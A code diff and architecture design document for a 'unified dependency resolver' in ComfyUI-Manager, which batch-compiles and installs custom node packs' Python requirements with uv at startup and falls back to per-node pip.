manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
restore_snapshot_path = os.path.join(manager_files_path, "startup-scripts", "restore-snapshot.json")
@@ -102,6 +88,11 @@ def read_uv_mode():
if 'use_uv' in default_conf:
manager_util.use_uv = default_conf['use_uv'].lower() == 'true'
def read_unified_resolver_mode():
if 'use_unified_resolver' in default_conf:
manager_util.use_unified_resolver = default_conf['use_unified_resolver'].lower() == 'true'
def check_file_logging():
global enable_file_logging
if 'file_logging' in default_conf and default_conf['file_logging'].lower() == 'false':
@@ -110,9 +101,14 @@ def check_file_logging():
read_config()
read_uv_mode()
read_unified_resolver_mode()
security_check.security_check()
check_file_logging()
# Module-level flag set by startup batch resolver when it succeeds.
# Used by execute_lazy_install_script() to skip per-node pip installs.
_unified_resolver_succeeded = False
cm_global.pip_overrides = {}
if os.path.exists(manager_pip_overrides_path):
@@ -354,10 +350,13 @@ try:
pass
with std_log_lock:
if self.is_stdout:
original_stdout.flush()
else:
original_stderr.flush()
try:
if self.is_stdout:
original_stdout.flush()
else:
original_stderr.flush()
except (OSError, ValueError):
pass
def close(self):
self.flush()
@@ -483,7 +482,7 @@ check_bypass_ssl()
# Perform install
processed_install = set()
script_list_path = os.path.join(folder_paths.user_directory, "default", "ComfyUI-Manager", "startup-scripts", "install-scripts.txt")
script_list_path = os.path.join(manager_files_path, "startup-scripts", "install-scripts.txt")
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
@@ -571,7 +570,7 @@ if os.path.exists(restore_snapshot_path):
if 'COMFYUI_PATH' not in new_env:
new_env['COMFYUI_PATH'] = os.path.dirname(folder_paths.__file__)
cmd_str = [sys.executable, '-m', 'comfyui_manager.cm_cli', 'restore-snapshot', restore_snapshot_path]
cmd_str = [sys.executable, '-m', 'cm_cli', 'restore-snapshot', restore_snapshot_path]
exit_code = process_wrap(cmd_str, custom_nodes_base_path, handler=msg_capture, env=new_env)
if exit_code != 0:
@@ -592,7 +591,8 @@ def execute_lazy_install_script(repo_path, executable):
install_script_path = os.path.join(repo_path, "install.py")
requirements_path = os.path.join(repo_path, "requirements.txt")
if os.path.exists(requirements_path):
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
# Per-node pip install: only runs if unified resolver is disabled or failed
print(f"Install: pip packages for '{repo_path}'")
lines = manager_util.robust_readlines(requirements_path)
@@ -762,6 +762,38 @@ def execute_startup_script():
print("#######################################################################\n")
# --- Unified dependency resolver: batch resolution at startup ---
# Runs unconditionally when enabled, independent of install-scripts.txt existence.
if manager_util.use_unified_resolver:
try:
from .common.unified_dep_resolver import (
UnifiedDepResolver,
UvNotAvailableError,
collect_base_requirements,
collect_node_pack_paths,
)
_resolver = UnifiedDepResolver(
node_pack_paths=collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes')),
base_requirements=collect_base_requirements(comfy_path),
blacklist=set(),
overrides={},
downgrade_blacklist=[],
)
_result = _resolver.resolve_and_install()
if _result.success:
_unified_resolver_succeeded = True
logging.info("[UnifiedDepResolver] startup batch resolution succeeded")
else:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] startup batch failed: %s, falling back to per-node pip", _result.error)
except UvNotAvailableError:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] uv not available at startup, falling back to per-node pip")
except Exception as e:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] startup error: %s, falling back to per-node pip", e)
# Check if script_list_path exists
if os.path.exists(script_list_path):
execute_startup_script()
@@ -0,0 +1,812 @@
# Architecture Design: Unified Dependency Resolver
## 1. System Architecture
### 1.1 Module Location
```
comfyui_manager/
├── glob/
│ └── manager_core.py # Existing: execute_install_script() call sites (2 locations)
├── common/
│ ├── manager_util.py # Existing: get_pip_cmd(), PIPFixer, use_uv flag
│ ├── cm_global.py # Existing: pip_overrides, pip_blacklist (runtime dynamic assignment)
│ └── unified_dep_resolver.py # New: Unified dependency resolution module
├── prestartup_script.py # Existing: config reading, remap_pip_package, cm_global initialization
└── legacy/
└── manager_core.py # Legacy (not a modification target)
cm_cli/
└── __main__.py # CLI entry: uv-compile command (on-demand batch resolution)
```
The new module `unified_dep_resolver.py` is added to the `comfyui_manager/common/` directory.
It reuses `manager_util` utilities and `cm_global` global state from the same package.
> **Warning**: `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are
> NOT defined in `cm_global.py`. They are **dynamically assigned** during `prestartup_script.py` execution.
> In v1 unified mode, these are **not applied** — empty values are passed to the resolver constructor.
> The constructor interface accepts them for future extensibility (defaults to empty when `None`).
>
> **[DEFERRED]** Reading actual `cm_global` values at startup is deferred to a future version.
> The startup batch resolver in `prestartup_script.py` currently passes `blacklist=set()`,
> `overrides={}`, `downgrade_blacklist=[]`. The constructor and internal methods
> (`_remap_package`, `_is_downgrade_blacklisted`, blacklist check) are fully implemented
> and will work once real values are provided.
### 1.2 Overall Flow
```mermaid
flowchart TD
subgraph INSTALL_TIME["Install Time (immediate)"]
MC["manager_core.py<br/>execute_install_script() — 2 locations"]
MC -->|"use_unified_resolver=True"| SKIP["Skip per-node pip install<br/>(deps deferred to restart)"]
MC -->|"use_unified_resolver=False"| PIP["Existing pip install loop"]
SKIP --> INST["Run install.py"]
PIP --> INST
end
subgraph STARTUP["ComfyUI Restart (prestartup_script.py)"]
CHK{use_unified_resolver?}
CHK -->|Yes| UDR
CHK -->|No| LAZY["execute_lazy_install_script()<br/>per-node pip install (existing)"]
subgraph UDR["UnifiedDepResolver (batch)"]
S1["1. collect_requirements()<br/>(ALL installed node packs)"]
S2["2. compile_lockfile()"]
S3["3. install_from_lockfile()"]
S1 --> S2 --> S3
end
UDR -->|Success| FIX["PIPFixer.fix_broken()"]
UDR -->|Failure| LAZY
LAZY --> FIX2["PIPFixer.fix_broken()"]
end
```
> **Key design change**: The unified resolver runs at **startup time** (module scope), not at install time.
> At install time, `execute_install_script()` skips the pip loop when unified mode is active.
> At startup, `prestartup_script.py` runs the resolver at module scope — unconditionally when enabled,
> independent of `install-scripts.txt` existence. Blacklist/overrides/downgrade_blacklist are bypassed
> (empty values passed); `uv pip compile` handles all conflict resolution natively.
>
> **Note**: `execute_install_script()` exists in 2 locations in the codebase (excluding legacy module).
> - `UnifiedManager.execute_install_script()` (class method): Used for CNR installs, etc.
> - Standalone function `execute_install_script()`: Used for updates, git installs, etc.
> Both skip per-node pip install when unified mode is active.
### 1.3 uv Command Strategy
**`uv pip compile`** → Generates pinned requirements.txt (pip-compatible)
- Do not confuse with `uv lock`
- `uv lock` generates `uv.lock` (TOML) — cross-platform but incompatible with pip workflows
- This design uses a pip-compatible workflow (`uv pip compile` → `uv pip install -r`)
**`uv pip install -r`** ← Used instead of `uv pip sync`
- `uv pip sync`: **Deletes** packages not in lockfile → Risk of removing torch, ComfyUI deps
- `uv pip install -r`: Only performs additive installs, preserves existing packages → Safe
---
## 2. Class Design
### 2.1 UnifiedDepResolver
```python
class UnifiedDepResolver:
"""
Unified dependency resolver.
Resolves and installs all dependencies of (installed node packs + new node packs)
at once using uv.
Responsibility scope: Dependency resolution and installation only.
install.py execution and PIPFixer calls are handled by the caller (manager_core).
"""
def __init__(
self,
node_pack_paths: list[str],
base_requirements: list[str] | None = None,
blacklist: set[str] | None = None,
overrides: dict[str, str] | None = None,
downgrade_blacklist: list[str] | None = None,
):
"""
Args:
node_pack_paths: List of node pack directory paths
base_requirements: Base dependencies (ComfyUI requirements, etc.)
blacklist: Blacklisted package set (default: empty set; not applied in v1 unified mode)
overrides: Package name remapping dict (default: empty dict; not applied in v1 unified mode)
downgrade_blacklist: Downgrade-prohibited package list (default: empty list; not applied in v1 unified mode)
"""
def resolve_and_install(self) -> ResolveResult:
"""Execute full pipeline: stale cleanup → collect → compile → install.
Calls cleanup_stale_tmp() at start to clean up residual files from previous abnormal terminations."""
def collect_requirements(self) -> CollectedDeps:
"""Collect dependencies from all node packs"""
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
"""Generate pinned requirements via uv pip compile"""
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
"""Install from pinned requirements (uv pip install -r)"""
```
### 2.2 Data Classes
```python
@dataclass
class PackageRequirement:
"""Individual package dependency"""
name: str # Package name (normalized)
spec: str # Original spec (e.g., "torch>=2.0")
source: str # Source node pack path
@dataclass
class CollectedDeps:
"""All collected dependencies"""
requirements: list[PackageRequirement] # Collected deps (duplicates allowed, uv resolves)
skipped: list[tuple[str, str]] # (package_name, skip_reason)
sources: dict[str, list[tuple[str, str]]] # {package_name: [(pack_path, pkg_spec), ...]}
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
extra_index_urls: list[str] # Additional index URLs separated from --index-url entries
@dataclass
class LockfileResult:
"""Compilation result"""
success: bool
lockfile_path: str | None # pinned requirements.txt path
conflicts: list[str] # Conflict details
stderr: str # uv error output
@dataclass
class InstallResult:
"""Installation result (uv pip install -r is atomic: all-or-nothing)"""
success: bool
installed: list[str] # Installed packages (stdout parsing)
skipped: list[str] # Already installed (stdout parsing)
stderr: str # uv stderr output (for failure analysis)
@dataclass
class ResolveResult:
"""Full pipeline result"""
success: bool
collected: CollectedDeps | None
lockfile: LockfileResult | None
install: InstallResult | None
error: str | None
```
---
## 3. Core Logic Details
### 3.1 Dependency Collection (`collect_requirements`)
```python
# Input sanitization: dangerous patterns to reject
_DANGEROUS_PATTERNS = re.compile(
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
r'|--find-links\b|-f\b|.*@\s*file://)',
re.IGNORECASE
)
def collect_requirements(self) -> CollectedDeps:
requirements = []
skipped = []
sources = defaultdict(list)
extra_index_urls = []
for path in self.node_pack_paths:
# Exclude disabled node packs (directory-based mechanism)
# Disabled node packs are actually moved to custom_nodes/.disabled/,
# so they should already be excluded from input at this point.
# Defensive check: new style (.disabled/ directory) + old style ({name}.disabled suffix)
if ('/.disabled/' in path
or os.path.basename(os.path.dirname(path)) == '.disabled'
or path.rstrip('/').endswith('.disabled')):
continue
req_file = os.path.join(path, "requirements.txt")
if not os.path.exists(req_file):
continue
# chardet-based encoding detection (existing robust_readlines pattern)
for line in self._read_requirements(req_file):
line = line.split('#')[0].strip()
if not line:
continue
# 0. Input sanitization (security)
if self._DANGEROUS_PATTERNS.match(line):
skipped.append((line, f"rejected: dangerous pattern in {path}"))
logging.warning(f"[UnifiedDepResolver] rejected dangerous line: '{line}' from {path}")
continue
# 1. Separate --index-url / --extra-index-url handling
# (BEFORE path separator check, because URLs contain '/')
if '--index-url' in line or '--extra-index-url' in line:
pkg_spec, index_url = self._split_index_url(line)
if index_url:
extra_index_urls.append(index_url)
line = pkg_spec
if not line:
# Standalone option line (no package prefix)
continue
# 1b. Reject path separators in package name portion
pkg_name_part = re.split(r'[><=!~;]', line)[0]
if '/' in pkg_name_part or '\\' in pkg_name_part:
skipped.append((line, f"rejected: path separator in package name"))
continue
# 2. Apply remap_pip_package (using cm_global.pip_overrides)
pkg_spec = self._remap_package(line)
# 3. Blacklist check (cm_global.pip_blacklist)
pkg_name = self._extract_package_name(pkg_spec)
if pkg_name in self.blacklist:
skipped.append((pkg_spec, "blacklisted"))
continue
# 4. Downgrade blacklist check (includes version comparison)
if self._is_downgrade_blacklisted(pkg_name, pkg_spec):
skipped.append((pkg_spec, "downgrade blacklisted"))
continue
# 5. Collect (no dedup — uv handles resolution)
req = PackageRequirement(
name=pkg_name,
spec=pkg_spec,
source=path,
)
requirements.append(req)
sources[pkg_name].append((path, pkg_spec))
return CollectedDeps(
requirements=requirements,
skipped=skipped,
sources=dict(sources),
extra_index_urls=list(set(extra_index_urls)), # Deduplicate
)
def _split_index_url(self, line: str) -> tuple[str, str | None]:
"""Split 'package_name --index-url URL' → (package_name, URL).
Also handles standalone ``--index-url URL`` and
``--extra-index-url URL`` lines (with no package prefix).
"""
# Handle --extra-index-url first (contains '-index-url' as substring
# but NOT '--index-url' due to the extra-index prefix)
for option in ('--extra-index-url', '--index-url'):
if option in line:
parts = line.split(option, 1)
pkg_spec = parts[0].strip()
url = parts[1].strip() if len(parts) == 2 else None
return pkg_spec, url
return line, None
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str) -> bool:
"""Reproduce the downgrade version comparison from existing is_blacklisted() logic.
Same logic as manager_core.py's is_blacklisted():
- No version spec and already installed → block (prevent reinstall)
- Operator is one of ['<=', '==', '<', '~='] and
installed version >= requested version → block (prevent downgrade)
- Version comparison uses manager_util.StrictVersion (NOT packaging.version)
"""
if pkg_name not in self.downgrade_blacklist:
return False
installed_packages = manager_util.get_installed_packages()
# Version spec parsing (same pattern as existing is_blacklisted())
pattern = r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
match = re.search(pattern, pkg_spec)
if match is None:
# No version spec: prevent reinstall if already installed
if pkg_name in installed_packages:
return True
elif match.group(2) in ['<=', '==', '<', '~=']:
# Downgrade operator: block if installed version >= requested version
if pkg_name in installed_packages:
try:
installed_ver = manager_util.StrictVersion(installed_packages[pkg_name])
requested_ver = manager_util.StrictVersion(match.group(3))
if installed_ver >= requested_ver:
return True
except (ValueError, TypeError):
logging.warning(f"[UnifiedDepResolver] version parse failed: {pkg_spec}")
return False
return False
def _remap_package(self, pkg: str) -> str:
"""Package name remapping based on cm_global.pip_overrides.
Reuses existing remap_pip_package() logic."""
if pkg in self.overrides:
remapped = self.overrides[pkg]
logging.info(f"[UnifiedDepResolver] '{pkg}' remapped to '{remapped}'")
return remapped
return pkg
```
### 3.2 Lockfile Generation (`compile_lockfile`)
**Behavior:**
1. Create a unique temp directory (`tempfile.mkdtemp(prefix="comfyui_resolver_")`) for concurrency safety
2. Write collected requirements and base constraints to temp files
3. Execute `uv pip compile` with options:
- `--output-file` (pinned requirements path within temp dir)
- `--python` (current interpreter)
- `--constraint` (base dependencies)
- `--extra-index-url` (from `CollectedDeps.extra_index_urls`, logged via `_redact_url()`)
4. Timeout: 300s — returns `LockfileResult(success=False)` on `TimeoutExpired`
5. On `returncode != 0`: parse stderr for conflict details via `_parse_conflicts()`
6. Post-success verification: confirm lockfile was actually created (handles edge case of `returncode==0` without output)
7. Temp directory cleanup: `shutil.rmtree()` in `except` block; on success, caller (`resolve_and_install`'s `finally`) handles cleanup
### 3.3 Dependency Installation (`install_from_lockfile`)
**Behavior:**
1. Execute `uv pip install --requirement <lockfile_path> --python <sys.executable>`
- **NOT `uv pip sync`** — sync deletes packages not in lockfile (dangerous for torch, ComfyUI deps)
2. `uv pip install -r` is **atomic** (all-or-nothing): no partial failure
3. Timeout: 600s — returns `InstallResult(success=False)` on `TimeoutExpired`
4. On success: parse stdout via `_parse_install_output()` to populate `installed`/`skipped` lists
5. On failure: `stderr` captures the failure cause; `installed=[]` (atomic model)
### 3.4 uv Command Resolution
**`_get_uv_cmd()` resolution order** (mirrors existing `get_pip_cmd()` pattern):
1. **Module uv**: `[sys.executable, '-m', 'uv']` (with `-s` flag for embedded Python — note: `python_embeded` spelling is intentional, matching ComfyUI Windows distribution path)
2. **Standalone uv**: `['uv']` via `shutil.which('uv')`
3. **Not found**: raises `UvNotAvailableError` → caught by caller for pip fallback
### 3.5 Stale Temp File Cleanup
**`cleanup_stale_tmp(max_age_seconds=3600)`** — classmethod, called at start of `resolve_and_install()`:
- Scans `tempfile.gettempdir()` for directories with prefix `comfyui_resolver_`
- Deletes directories older than `max_age_seconds` (default: 1 hour)
- Silently ignores `OSError` (permission issues, etc.)
### 3.6 Credential Redaction
```python
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
def _redact_url(self, url: str) -> str:
"""Mask authentication info in URLs. user:pass@host → ****@host"""
return self._CREDENTIAL_PATTERN.sub('://****@', url)
```
All `--extra-index-url` logging passes through `_redact_url()`:
```python
# Logging example within compile_lockfile()
for url in deps.extra_index_urls:
logging.info(f"[UnifiedDepResolver] extra-index-url: {self._redact_url(url)}")
cmd += ["--extra-index-url", url] # Original URL passed to actual command
```
---
## 4. Existing Code Integration
### 4.1 manager_core.py Modification Points
**2 `execute_install_script()` locations — both skip deps in unified mode:**
#### 4.1.1 UnifiedManager.execute_install_script() (Class Method)
#### 4.1.2 Standalone Function execute_install_script()
**Both locations use the same pattern when unified mode is active:**
1. `lazy_mode=True` → schedule and return early (unchanged)
2. If `not no_deps and manager_util.use_unified_resolver`:
- **Skip** the `requirements.txt` pip install loop entirely (deps deferred to startup)
- Log: `"[UnifiedDepResolver] deps deferred to startup batch resolution"`
3. If `not manager_util.use_unified_resolver`: existing pip install loop runs (unchanged)
4. `install.py` execution: **always runs immediately** regardless of resolver mode
> **Parameter ordering differs:**
> - Method: `(self, url, repo_path, instant_execution, lazy_mode, no_deps)`
> - Standalone: `(url, repo_path, lazy_mode, instant_execution, no_deps)`
### 4.1.3 Startup Batch Resolver (`prestartup_script.py`)
**New**: Runs unified resolver at **module scope** — unconditionally when enabled, independent of `install-scripts.txt` existence.
**Execution point**: After config reading and `cm_global` initialization, **before** the `execute_startup_script()` gate.
**Logic** (uses module-level helpers from `unified_dep_resolver.py`):
1. `collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes'))` — enumerate all installed node pack directories
2. `collect_base_requirements(comfy_path)` — read `requirements.txt` + `manager_requirements.txt` from ComfyUI root (base deps only)
3. Create `UnifiedDepResolver` with **empty** blacklist/overrides/downgrade_blacklist (uv handles resolution natively; interface preserved for extensibility)
4. Call `resolve_and_install()` → on success set `_unified_resolver_succeeded = True`
5. On failure (including `UvNotAvailableError`): log warning, fall back to per-node pip
> `manager_requirements.txt` is read **only** from `comfy_path` (ComfyUI base), never from node packs.
> Node packs' `requirements.txt` are collected by the resolver's `collect_requirements()` method.
### 4.1.5 `execute_lazy_install_script()` Modification
When unified resolver **succeeds**, `execute_lazy_install_script()` skips the per-node pip install loop
(deps already batch-resolved at module scope). `install.py` still runs per node pack.
```python
# In execute_lazy_install_script():
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
# Per-node pip install: only runs if unified resolver is disabled or failed
...
# install.py always runs regardless
```
> **Note**: Gated on `_unified_resolver_succeeded` (success flag), NOT `use_unified_resolver` (enable flag).
> If the resolver is enabled but fails, `_unified_resolver_succeeded` remains False → per-node pip runs as fallback.
### 4.1.6 CLI Integration
Multiple entry points expose the unified resolver in `cm_cli`:
#### 4.1.6.1 Standalone Command: `cm_cli uv-compile`
On-demand batch resolution — independent of ComfyUI startup.
```bash
cm_cli uv-compile [--user-directory DIR]
```
Resolves all installed node packs' dependencies at once. Useful for environment
recovery or initial setup without starting ComfyUI.
`PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure).
#### 4.1.6.2 Install Flag: `cm_cli install --uv-compile`
```bash
cm_cli install <node1> [node2 ...] --uv-compile [--mode remote]
```
When `--uv-compile` is set:
1. `no_deps` is forced to `True` → per-node pip install is skipped during each node installation
2. After **all** nodes are installed, runs unified batch resolution over **all installed node packs**
(not just the newly installed ones — `uv pip compile` needs the complete dependency graph)
3. `PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure)
This differs from per-node pip install: instead of resolving each node pack's
`requirements.txt` independently, all deps are compiled together to avoid conflicts.
#### 4.1.6.3 Additional `--uv-compile` Commands
The following commands follow the same `no_deps` + batch-resolve pattern as `install --uv-compile`:
`cmd_ctx.set_no_deps(True)` is set before node operations, then `_run_unified_resolve()`
runs at the end via `try/finally` with `PIPFixer.fix_broken()`.
| Command | Operation |
|---------|-----------|
| `cm_cli reinstall --uv-compile` | Reinstall nodes then batch-resolve |
| `cm_cli update --uv-compile` | Update nodes then batch-resolve |
| `cm_cli fix --uv-compile` | Fix node dependencies then batch-resolve |
| `cm_cli restore-snapshot --uv-compile` | Restore snapshot then batch-resolve |
| `cm_cli restore-dependencies --uv-compile` | Restore all node deps then batch-resolve |
| `cm_cli install-deps <deps.json> --uv-compile` | Install from deps spec file then batch-resolve |
> **`reinstall` only**: Has `--uv-compile` / `--no-deps` mutual exclusion check.
> Both skip per-node pip, but `--no-deps` skips permanently while `--uv-compile` also
> triggers batch resolution after all nodes are processed.
>
> **`restore-snapshot` only**: Has an additional pre-resolution exception guard — if the
> snapshot restore itself fails (before `_run_unified_resolve()` is reached),
> `PIPFixer.fix_broken()` runs in the exception handler before exit. The `try/finally`
> applies to the `_run_unified_resolve()` call. See dec_7 for rationale.
#### Shared Design Decisions
- **Uses real `cm_global` values**: Unlike the startup path (4.1.3) which passes empty
blacklist/overrides, CLI commands pass `cm_global.pip_blacklist`,
`cm_global.pip_overrides`, and `cm_global.pip_downgrade_blacklist` — already
initialized at `cm_cli/__main__.py` module scope.
- **No `_unified_resolver_succeeded` flag**: Not needed — these are one-shot commands,
not startup gates.
- **Shared helper**: All entry points delegate to `_run_unified_resolve()` which
handles resolver instantiation, execution, and result reporting.
- **Error handling**: `UvNotAvailableError` / `ImportError` → exit 1 with message.
All entry points guarantee `PIPFixer.fix_broken()` runs regardless of outcome —
via `try/finally` around `_run_unified_resolve()`. `restore-snapshot` additionally
calls `fix_broken()` in the snapshot restore exception handler (before
`_run_unified_resolve()` is reached), per dec_7.
- **Conflict attribution output**: When resolution fails and `result.lockfile.conflicts`
is non-empty, `_run_unified_resolve()` cross-references conflict package names with
`CollectedDeps.sources` to identify which node packs requested each conflicting package:
- Normalization: both sources keys and conflict text apply `.lower().replace("-", "_")`
- Word-boundary regex `(?<![a-z0-9_])pkg(?![a-z0-9_])` prevents false-positive prefix
matches (e.g., `torch` does NOT match `torch_audio` or `torchvision`)
- Output format: sorted by package name, each entry lists `pack_basename → pkg_spec`
per requester (using `CollectedDeps.sources` tuple values `(pack_path, pkg_spec)`)
**Node pack discovery**: Uses `cmd_ctx.get_custom_nodes_paths()` → `collect_node_pack_paths()`,
which is the CLI-native path resolution (respects `--user-directory` and `folder_paths`).
### 4.2 Configuration Addition (config.ini)
```ini
[default]
# Existing settings...
use_unified_resolver = false # Enable unified dependency resolution
```
### 4.3 Configuration Reading
Follows the existing `read_uv_mode()` / `use_uv` pattern:
- `prestartup_script.py`: `read_unified_resolver_mode()` reads from `default_conf` → sets `manager_util.use_unified_resolver`
- `manager_core.py`: `read_config()` / `write_config()` / `get_config()` include `use_unified_resolver` key
- `read_config()` exception fallback must include `use_unified_resolver` key to prevent `KeyError` in `write_config()`
### 4.4 manager_util.py Extension
```python
# manager_util.py
use_unified_resolver = False # New global flag (separate from use_uv)
```
---
## 5. Error Handling Strategy
```mermaid
flowchart TD
STARTUP["prestartup_script.py startup"]
STARTUP --> CHK{use_unified_resolver?}
CHK -->|No| SKIP_UDR["Skip → execute_lazy_install_script per-node pip"]
CHK -->|Yes| RAI["run_unified_resolver()"]
RAI --> STALE["cleanup_stale_tmp()<br/>Clean stale temp dirs (>1 hour old)"]
STALE --> UV_CHK{uv installed?}
UV_CHK -->|No| UV_ERR["UvNotAvailableError<br/>→ Fallback: execute_lazy_install_script per-node pip"]
UV_CHK -->|Yes| CR["collect_requirements()<br/>(ALL installed node packs)"]
CR --> CR_DIS[".disabled/ path → auto-skip"]
CR --> CR_PARSE["Parse failure → skip node pack, continue"]
CR --> CR_ENC["Encoding detection failure → assume UTF-8"]
CR --> CR_DANGER["Dangerous pattern detected → reject line + log"]
CR --> CR_DG["Downgrade blacklist → skip after version comparison"]
CR --> CL["compile_lockfile()"]
CL --> CL_CONFLICT["Conflict → report + per-node pip fallback"]
CL --> CL_TIMEOUT["TimeoutExpired 300s → per-node pip fallback"]
CL --> CL_NOFILE["Lockfile not created → failure + fallback"]
CL --> CL_TMP["Temp directory → finally block cleanup"]
CL -->|Success| IL["install_from_lockfile()"]
IL --> IL_OK["Total success → parse installed/skipped"]
IL --> IL_FAIL["Total failure → stderr + per-node pip fallback (atomic)"]
IL --> IL_TIMEOUT["TimeoutExpired 600s → fallback"]
IL_OK --> PF["PIPFixer.fix_broken()<br/>Restore torch/opencv/frontend"]
PF --> LAZY["execute_lazy_install_script()<br/>(install.py only, deps skipped)"]
```
> **Fallback model**: On resolver failure at startup, `execute_lazy_install_script()` runs normally
> (per-node pip install), providing the same behavior as if unified mode were disabled.
---
## 6. File Structure
### 6.1 New Files
```
comfyui_manager/common/unified_dep_resolver.py # Main module (~350 lines, includes sanitization/downgrade logic)
tests/test_unified_dep_resolver.py # Unit tests
```
### 6.2 Modified Files
```
comfyui_manager/glob/manager_core.py # Skip per-node pip in unified mode (2 execute_install_script locations)
comfyui_manager/common/manager_util.py # Add use_unified_resolver flag
comfyui_manager/prestartup_script.py # Config reading + startup batch resolver + execute_lazy_install_script modification
```
> **Not modified**: `comfyui_manager/legacy/manager_core.py` (legacy paths retain existing pip behavior)
---
## 7. Dependencies
| Dependency | Purpose | Notes |
|-----------|---------|-------|
| `uv` | Dependency resolution and installation | Already included in project dependencies |
| `cm_global` | pip_overrides, pip_blacklist, pip_downgrade_blacklist | Reuse existing global state (runtime dynamic assignment) |
| `manager_util` | StrictVersion, get_installed_packages, use_unified_resolver flag | Reuse existing utilities |
| `tempfile` | Temporary requirements files, mkdtemp | Standard library |
| `subprocess` | uv process execution | Standard library |
| `dataclasses` | Result data structures | Standard library |
| `re` | Input sanitization, version spec parsing, credential redaction | Standard library |
| `shutil` | uv lookup (`which`), temp directory cleanup | Standard library |
| `time` | Stale temp file age calculation | Standard library |
| `logging` | Per-step logging | Standard library |
No additional external dependencies.
---
## 8. Sequence Diagram
### Install Time + Startup Batch Resolution
```mermaid
sequenceDiagram
actor User
participant MC as manager_core
participant PS as prestartup_script
participant UDR as UnifiedDepResolver
participant UV as uv (CLI)
Note over User,MC: Install Time (immediate)
User->>MC: Install node pack X
MC->>MC: Git clone / download X
MC->>MC: Skip per-node pip (unified mode)
MC->>MC: Run X's install.py
MC-->>User: Node pack installed (deps pending)
Note over User,UV: ComfyUI Restart
User->>PS: Start ComfyUI
PS->>PS: Check use_unified_resolver
PS->>UDR: Create resolver (module scope)
UDR->>UDR: collect_requirements()<br/>(ALL installed node packs)
UDR->>UV: uv pip compile --output-file
UV-->>UDR: pinned reqs.txt
UDR->>UV: uv pip install -r
UV-->>UDR: Install result
UDR-->>PS: ResolveResult(success=True)
PS->>PS: PIPFixer.fix_broken()
PS->>PS: execute_lazy_install_script()<br/>(install.py only, deps skipped)
PS-->>User: ComfyUI ready
```
---
## 9. Test Strategy
### 9.1 Unit Tests
| Test Target | Cases |
|------------|-------|
| `collect_requirements` | Normal parsing, empty file, blacklist filtering, comment handling, remap application |
| `.disabled` filtering | Exclude node packs within `.disabled/` directory path (directory-based mechanism) |
| Input sanitization | Reject lines with `-r`, `-e`, `--find-links`, `@ file://`, path separators |
| `--index-url` / `--extra-index-url` separation | `package --index-url URL`, standalone `--index-url URL`, standalone `--extra-index-url URL`, `package --extra-index-url URL` → package spec + extra_index_urls separation |
| Downgrade blacklist | Installed + lower version request → skip, not installed → pass, same/higher version → pass |
| `compile_lockfile` | Normal compilation, conflict detection, TimeoutExpired, constraint application, --output-file verification |
| Lockfile existence verification | Failure handling when file not created despite returncode==0 |
| `extra_index_urls` passthrough | Verify `--extra-index-url` argument included in compile command |
| `install_from_lockfile` | Normal install, total failure, TimeoutExpired |
| Atomic model | On failure: installed=[], stderr populated |
| `_get_uv_cmd` | Module uv, standalone uv, embedded python (`python_embeded`), not installed |
| `_remap_package` | pip_overrides remapping, unregistered packages |
| Blacklist | torch family, torchsde, custom blacklist |
| Duplicate handling | Same package with multiple specs → all passed to uv |
| Multiple paths | Collection from multiple custom_nodes paths |
| `cm_global` defense | Default values used when `pip_blacklist` etc. not assigned |
| Concurrency | Two resolver instances each use unique temp directories |
| Credential redaction | `user:pass@host` URL masked in log output |
| `_redact_url` | `://user:pass@host` → `://****@host` conversion, no-credential URL passthrough |
| `cleanup_stale_tmp` | Delete stale dirs >1 hour, preserve recent dirs, ignore permission errors |
| Downgrade operators | `<=`, `==`, `<`, `~=` blocked; `>=`, `>`, `!=` pass; no spec + installed → blocked |
| `StrictVersion` comparison | Verify `manager_util.StrictVersion` is used (not `packaging.version`) |
### 9.2 Integration Tests
- End-to-end test in real uv environment
- Existing pip fallback path test
- config.ini setting toggle test
- Environment integrity verification after PIPFixer call
- lazy_mode scheduling behavior verification (Windows simulation)
- `use_uv=False` + `use_unified_resolver=True` combination test
- Large-scale dependency (50+ node packs) performance test
---
## 10. Implementation Order
1. **Phase 1**: Data classes and `collect_requirements` implementation + tests
- PackageRequirement, CollectedDeps (including extra_index_urls) and other data classes
- Blacklist/override filtering
- **Downgrade blacklist** (version comparison logic included)
- **Input sanitization** (-r, -e, @ file:// etc. rejection)
- **`--index-url` / `--extra-index-url` separation handling** (package spec + extra_index_urls)
- **`.disabled` node pack filtering**
- Defensive cm_global access (getattr pattern)
2. **Phase 2**: `compile_lockfile` implementation + tests
- uv pip compile invocation
- --output-file, --constraint, --python options
- Conflict parsing logic
3. **Phase 3**: `install_from_lockfile` implementation + tests
- uv pip install -r invocation (NOT sync)
- Install result parsing
4. **Phase 4**: Integration — startup batch + install-time skip
- `prestartup_script.py`: Module-scope startup batch resolver + `execute_lazy_install_script()` deps skip
- `manager_core.py`: Skip per-node pip in 2 `execute_install_script()` locations
- `manager_util.py`: `use_unified_resolver` flag
- Config reading (`read_unified_resolver_mode()`, `read_config()`/`write_config()`)
5. **Phase 5**: Integration tests + fallback verification + startup batch tests
---
## Appendix A: Existing Code Reference
> **Note**: Line numbers may shift as code changes, so references use symbol names (function/class names).
> Use `grep -n` or IDE symbol search for exact locations.
### remap_pip_package Location (Code Duplication Exists)
```
comfyui_manager/glob/manager_core.py — def remap_pip_package(pkg)
comfyui_manager/prestartup_script.py — def remap_pip_package(pkg)
```
Both reference `cm_global.pip_overrides` with identical logic.
